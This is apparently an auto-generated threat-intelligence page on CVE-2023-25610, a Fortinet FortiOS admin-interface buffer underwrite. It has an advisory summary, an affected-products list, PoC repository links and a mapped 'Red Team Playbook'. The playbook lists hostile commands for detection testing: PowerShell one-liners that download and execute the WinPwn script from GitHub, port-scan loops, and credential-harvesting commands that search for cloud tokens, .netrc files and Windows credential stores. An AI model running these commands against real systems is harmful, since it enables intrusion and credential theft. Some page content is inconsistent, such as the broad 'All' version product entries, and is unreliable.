CVE-2023-25610
Overview
This vulnerability is a buffer underwrite (buffer underflow) occurring within the administrative interface of Fortinet FortiOS and related products. The root cause lies in improper bounds checking when processing specific crafted requests, leading to memory corruption. The flaw affects multiple Fortinet components, including FortiOS versions 6.2.x through 7.2.x, FortiProxy, and FortiOS-6K7K, specifically in their administrative management interfaces.
Vulnerability Description
A buffer underwrite ('buffer underflow') vulnerability in the administrative interface of Fortinet FortiOS version 7.2.0 through 7.2.3, version 7.0.0 through 7.0.6, version 6.4.0 through 6.4.11 and version 6.2.12 and below, FortiProxy version 7.2.0 through 7.2.2, version 7.0.0 through 7.0.8, version 2.0.12 and below and FortiOS-6K7K version 7.0.5, version 6.4.0 through 6.4.10 and version 6.2.0 through 6.2.10 and below allows a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction to execute arbitrary code or commands on affected devices. This capability allows full compromise of the device, including potential data exfiltration, service disruption, and lateral movement within the network. The vulnerability’s CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that no authentication or user interaction is required, increasing the risk of widespread exploitation in exposed environments.
Solution
Fortinet has released security updates addressing this vulnerability in FortiOS, FortiProxy, and FortiOS-6K7K versions as detailed in their advisory FG-IR-23-001 available at https://fortiguard.com/psirt/FG-IR-23-001. Administrators should upgrade to the fixed versions corresponding to their product lines and versions. No specific workarounds are noted; applying the vendor-supplied patches is the recommended remediation step to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical buffer underwrite vulnerability has been identified in the administrative interface of several versions of Fortinet's FortiOS, FortiProxy, and related products. This flaw arises from improper handling of memory operations, specifically allowing an attacker to manipulate the buffer allocation process. When a specially crafted request is sent to the vulnerable systems, it can lead to a buffer underflow condition, which may allow the execution of arbitrary code or commands. The affected versions span across multiple releases, including FortiOS versions 6.2.12 and below, 6.4.0 through 6.4.11, 7.0.0 through 7.0.6, and 7.2.0 through 7.2.3, as well as FortiProxy and FortiSwitchManager versions. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that could lead to significant security breaches.
The attack vectors for this vulnerability are particularly concerning, as they allow for remote unauthenticated access. An attacker could exploit this flaw by sending specially crafted requests to the administrative interface of the affected products. This means that even individuals without prior access to the network or system could potentially gain control over the device, leading to unauthorized actions such as data exfiltration, system manipulation, or further network infiltration. Exploitation scenarios could include targeting organizations that rely on these products for network security, thereby compromising the very defenses intended to protect sensitive information and infrastructure.
The real-world impact of this vulnerability can be profound, especially for organizations that utilize Fortinet products for their cybersecurity needs. Successful exploitation could lead to unauthorized access to critical systems, resulting in data breaches, service disruptions, and potential financial losses. Moreover, the reputational damage incurred from such incidents can have long-lasting effects on customer trust and business relationships. Organizations in sectors such as finance, healthcare, and critical infrastructure, where data integrity and availability are paramount, may face heightened scrutiny and regulatory repercussions if they fail to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in their systems. Additionally, deploying intrusion detection systems (IDS) can provide real-time monitoring for suspicious activities that may indicate exploitation attempts. It is crucial for organizations to stay informed about security updates from Fortinet and apply patches as soon as they are available. Furthermore, implementing strict access controls and network segmentation can limit the potential impact of an attack, ensuring that even if a breach occurs, the attacker’s ability to move laterally within the network is constrained.
In conclusion, the buffer underwrite vulnerability in Fortinet's products represents a significant threat to organizations that rely on these systems for their cybersecurity posture. The combination of remote exploitation capabilities and the potential for severe consequences necessitates immediate attention and action. By adopting proactive detection and mitigation strategies, organizations can better safeguard their networks against this and similar vulnerabilities, ultimately enhancing their overall security resilience.
CSURFACE threat intelligence has identified a modest but meaningful increase in the exploit prediction scoring for CVE-2023-25610, reflecting a broader availability of exploitation tools targeting this vulnerability. The emergence of new proof-of-concept exploits hosted on public repositories has contributed to an 11.3% rise in the Exploit Prediction Scoring System (EPSS), signaling heightened attacker interest and capability. While the upward trend is not rapid, the vulnerability now ranks within the 95th percentile for exploit likelihood, underscoring its elevated prominence in the threat landscape. This evolution matters because it indicates a growing ease of access to effective exploitation methods, potentially lowering the barrier for threat actors to execute remote code on affected Fortinet FortiSwitchManager systems. Consequently, defenders should recognize that the risk of successful compromise has increased, warranting continued vigilance. The updated risk assessment reflects a moderate escalation in threat level, driven by expanded exploit availability and a measurable uptick in exploitation potential, which could facilitate more frequent or sophisticated attacks if left unaddressed.
Affected Products (29)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | All |
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | All |
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitch | All |
cpe:2.3:o:fortinet:fortiswitch:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitch | All |
cpe:2.3:o:fortinet:fortiswitch:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios-6k7k | All |
cpe:2.3:a:fortinet:fortios-6k7k:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios-6k7k | All |
cpe:2.3:a:fortinet:fortios-6k7k:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios-6k7k | 7.0.5 |
cpe:2.3:a:fortinet:fortios-6k7k:7.0.5:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortimanager | All |
cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
qi4L/CVE-2023-25610
FortiOS 管理界面中的堆内存下溢导致远程代码执行
|
qi4L | 23 | 7 | 2023-06-17 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-25610 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-001 |